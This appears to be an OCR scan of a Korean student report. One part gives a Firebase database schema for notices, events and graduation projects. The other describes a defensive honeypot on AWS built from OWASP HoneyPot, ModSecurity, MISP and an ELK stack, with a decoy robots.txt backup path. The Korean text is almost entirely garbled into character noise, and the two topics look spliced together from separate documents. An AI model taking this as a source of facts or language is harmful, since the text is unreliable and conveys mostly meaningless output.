2 g = AUSLICEH olgpt U2 JHLXIC| ZEO| ofs TEMO| & = = UL} Firebasel| YAH
7lsS AME5tH 7HEet 482 Y= = O[0|X| 2|Ato|E A X|Fzt 2 Y-S StILEA Google StorageOf| X

3.2 DB A
3.2.1 notices(&SX|AFR)

08t 4

title — XM= (string)

description — OCIHZ Apdot WE(OIALR22 XYt HTMLE M&El= AELC 80
uid — 2Hdet FX9| uid (string)

name — 2PdAF O|F (string)

admin — ZMEX7E 22| XRIX] 221 (boolean)

editorImgPath — O|C|HE &3l &2 O|0|X| LS| = (AAlE AHMAl 20| A4XM3t7| s =) (array)
timestamp — AlAlE g A|ZH(THO|O{H|O| A 9| MHA|IZLE 7|E22 MEE) (timestamp)

views — ZZ|5= (Number)

M Z)(string)

H

=13

12

L=
o

N

r

PN
(=}



3.2.2 events(O|HIE)

0 EE #4

title — M= (string)

startDate — O[®HIE A|& (input dateEIR2Z 2Ot O|O|E) (string)
endDate — O|HIE ZEY (string)

description — OCIE{2 XM L§E (string)

uid — &89t FX2| uid (string)

name — 2gXt 0| & (name)

admin — 287t &2|2X] 22l (boolean)

editorlmgPath — O|C|E{E &3 @2 O|0|X| mtAS| B2 (array)
timestamp — AlAlZ &4 AlZt (timestamp)

views — Z2|% (Number)
3.2.3 graduations(ZEYAE)

0 EE #+4

title — M= (string)

year — SRHETl HAE (Number)

university — CHZ (string)

department — o1} (string)

img — ZYXNET E O|OX| url(O|0[X|Qt MELUZ TR firebase storageOfl MEE) (string)

url — EYEEH™ HIZ7H| url (string)

imgFilePath — ZYAET HEO|O|IX| (firebase storaged] MY E FE, AME I8 MEH=) (string)
views — Z2|% (number)

likes — £0t2= (number)

projects — ZEMEZ% (pumber)

reviews — o9 Z2MESO| Wt =5 gt SR (HAULO[X|0 #7|2 T B/t AlLtS HoHA St7|fI6) BIH7F &
g morct 22tEE HA) (number)

timestamp — AAIE &d AlZt (timestamp)
O) graduations(ZEYAH /A=) —>HEESSII2021(FAM) —> likes(FO0R/ZHN) —> AN

o E2E 48
Or/E F& X2 uid (X7t ER=Xl OFHX| &Q5H7| 2Iol uidE M&) (string)

oHN

uid:
O) graduations(ZEEAH=/Z=HT) —> SEESSW2021(FA) —> projects(ZE2HME/ZA=M)

O EHE #4

title — M= (string)

name — 2PEXLO[E (string)

description — O|C|HZ A/dot WE(OFAL22 2 X&) (string)
img — ZEME CHHE O|O[X| url (string)

filesUrl — HEOIYE url (array)

filesName — HEI f%% Ol (array)



imgFilePath — ZZME [ O|0|X| storage AEBE (string)
filePath — BEOYE storage NEHEZE (array)

editorlmgPath — O|CIEZE %3t O|0|X|Z storage MY EE (array)
uid — ZHEA} uid (string)

views — ZZ2|5 (number)

likes — E0t2= (number)

timestamp — &&A|Zt (timestamp)

€ comments(Si=/Z2=HMd) —> FAM
> HE 74
comment — S4= (string)
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e o o gt -»-ty sent to + E—

K s MISP
@ Threat Sharing
4

Honeytraps are laid using the Honeytraps based Attack Information
ModSecurity CRS rules is shared with the community

1% 3. OWASP HoneyPot ZENHEQ| /g

ZOICt AMESH 22IRE MH|AE AWSE AFEICH, 2742
EC2 QUIAEAQL 1719| CloudWatch, 17i2| ECS(Elastic Container

Service)& ArESH0 AZFUCE ZH240| QAHATIL QEAA

meMeo| A5 YTIN, SHA BHS WS AL
HEESMO 2¥S 9o Y HY 42 H80 HIEE
ECSE THSIYCL 2T elmet T4L off (1Y 49t ZO|




TISHRAL.
2 MHE S8 Access Tl RZAEZ2 ABEHO=R T
207 {8iAM Cloudwatch logs AHIAE 28310 &Y
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235 M2 XMESHo ek ELK Stack AMH7t &4 E|HEt:
W 23 HOoIH7 HEE FERUC

Availability Zone

} Virtual Private Cloud (VPC)
Public subnet

Amazon CloudWatch logs

Qe e m @

MISP Server ELK Stack Web Server Interriet gateway
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S{L{Zt(honeypot) = B{L| EE(honey pot)[1]= HIZ&HQ
HIE BX5H7] ol =Xz dX|of & A[A”E olO|stct
olE =0, HEI Ho £ ZFHE AZs 51 sig
AFEHO 8%t 2t s AXMY FHEH, 3AAXIL Y
AFHE st ol Al=sts A2 BXE = ULt

SILIZHS HEQI0 ZH0| Y=XE AOMHe =2 ARE
2 Qlom S AW U Zto| 7|AHOl ZZHo| IEHE

2R E AR E(BO: cloud computing)2 AFEAL] YA Q!
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—
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OtorE ¢l MH|A(YO: Amazon Web Services, 2% AWS)=
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=
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ULE laaS OM= MZ2 CHE VME 2tof| SIO|mHHIO|ME Sl
SIERIOE SR/ 7tsd%td, PaaS OlM= MEZ CHE Z2MA
2ol 2SHAet iojH, d2|1 WESAMHASS SRt

tsHe =M BHY 0|52 #E + ULt

3% 2ALE HLU Y

3.1 ModSecurity and FireWall

R K AszZe 34 =218 Y YIE
ModSecurity @2t EMI IHXE #

oE 7t AMHE FEECH 07 & SFX0F HE
MNZez OFE 7Isdol =2 A2 1oFe=z FH S
TME robotstxt ILFYO|CE =22 robotstxt LS HM
ATIcz oot ==0|L AELES U7 2ot EX=E A&St=
23 mo|ct dgLr HRE Hot dFEe=2 ol & MHQ
S8 CEHZ|Y oY Z2E ==AZ2 = UL

OWASP S{LHO|ME ST robotstxt It LH db_backup
Ol2l= SAX7} Forgatet DI7|§ HME/UCL T TS

BEH  BARE oY TY FRE FES A

o
A0|Lh(ad 5 Hx)
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File Edit View History Tools People Help

[ 192.168.136.88:9091/rob: X

&« C (® Notsecure | 192.168.136.88:9091/robots.txt

i Apps @ https://www.e (3 Running Gnup G Hype Cycle Res

User-agent: *

Allow: /

User-agent: Googlebot
Disallow: /backup/
Disallow: /cgi-bin/
Disallow: /admin.bak/
Disallow: /old/

Disallow: /db backup.1560534496/ # 0ld DB crash data

a3 5. A% |l AT 0@ dbHotY)

d2|1 O[ofXl= 2 SHE R=IotALE A=sH7| 2BiA

=]
O
View History Tools People Help ¥ .
Discover -Kibana X ) 192.168.136.88:9091/rot Honeypot-Project/hon x | @ boldin markdown - Gg
€ > X ® 192.168.136.88:9091/db_backup.1560534496
i Apps @ https://www.e [ Running Gnup! G Hype . . L&
Signin
1} - it *
oas http://192.168.136.88:9091
User-agent: Googlebot Your connection to this site is not private

Disallow: /backup/
Disallow: /cgi-bin/
Disallow: /admin.bak/ Username | Admin
Disallow: /old/
Disallow: /db_backup.1560534496/ # Old DB crash data
Password | sssssess

a8 6. A [FAUS e OM2 (7IZAB22 28 EHoA=s
)
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J® ModSecurity HioteHo| EA0| 7|HSHo SiE 54
o =
= =

ZSE0] ELK StackO| ZSotd A= MH=zZ 21

IFECH A Logstash AZEIO| H|O|E{E O} input, filter, output
3EHAIE 2N 7t5 = HO|H MFAE METICL Elasticsearch
= oiE HOole MEFA0 MEFE 7tSE HOoHE dM St=0
AL E|E= M QXIOICE  Elasticsearch= &A] AQI0|
oled(nverted Indexing) 7|8& O|85t0] WE AM ds=

g
2Ot o QYO[B JIYUSI ofF AU ASKEZ A

J

Elasticsearche &2XAl, <At Q0= HEZ ZBE 59 QX

SEO| O|27|7X| Chet Fd 8l HIEE

Kibana= ElasticsearchO U= HIO|HE Al = UEE

o= 2 HEIRX 7|dio] A|Ztt ZSHEO|C} ElasticsearchO|
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R¥s S € HOIHE st
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1

m2tA 0] 3709 @EAA QXS S (12 712 22 21
ZLIHY AlAES 752 & UL 2 =20M AFESH /s

b
ELK Stack 24 MHE [O8 719t €2 X2 &5t ULt

w
—=yTCP HTTP - HTTP | CHA|
=15000 9200 9200 | EE

O3 7. ELK Stack 272 ML =

33C5 24 % 21 YA

ELK Stack MH<2o| XNgxF 0[8310] =1 HO[HS
MESIHEte oY MHel 2FZ QdiM 23FQt ZotEE
HIOE{ZF St X E =& U7 o et WY HoHE
T=6ioF Bioh 2 =20IME AWSS| Cloud Watch LogsE

A HE 2SS WARCH

23



Cloud Watche ECSE T+t U= & MH 2[220 Cist
DE =RIE 7|Esitad 8. EF 23 I8N ECS
AAsl| AMA[Ztez 21 7|20| 7H53lH, Log

o MH[AE Sl o 2SS AlASE == ULt

establisned
caused by: L « protocol error

ts caused by: lumberjack protocol error

ts caused byt not comnected

2022-05-24
2022-08-24T12:82:08 caused by: L
2022-05-24T12:82:08 its caused by
2022-05-24T12:02 client i

2022-05-24T12:02 /54.11

165 Connection to ba

2022-08-24T12:02:

logstash/async.go:256 Failed to publish e

3% 8. CloudWatch?| F& 21 7|EE

ts causes by: lumberjack protocol error

oase 21

Ul
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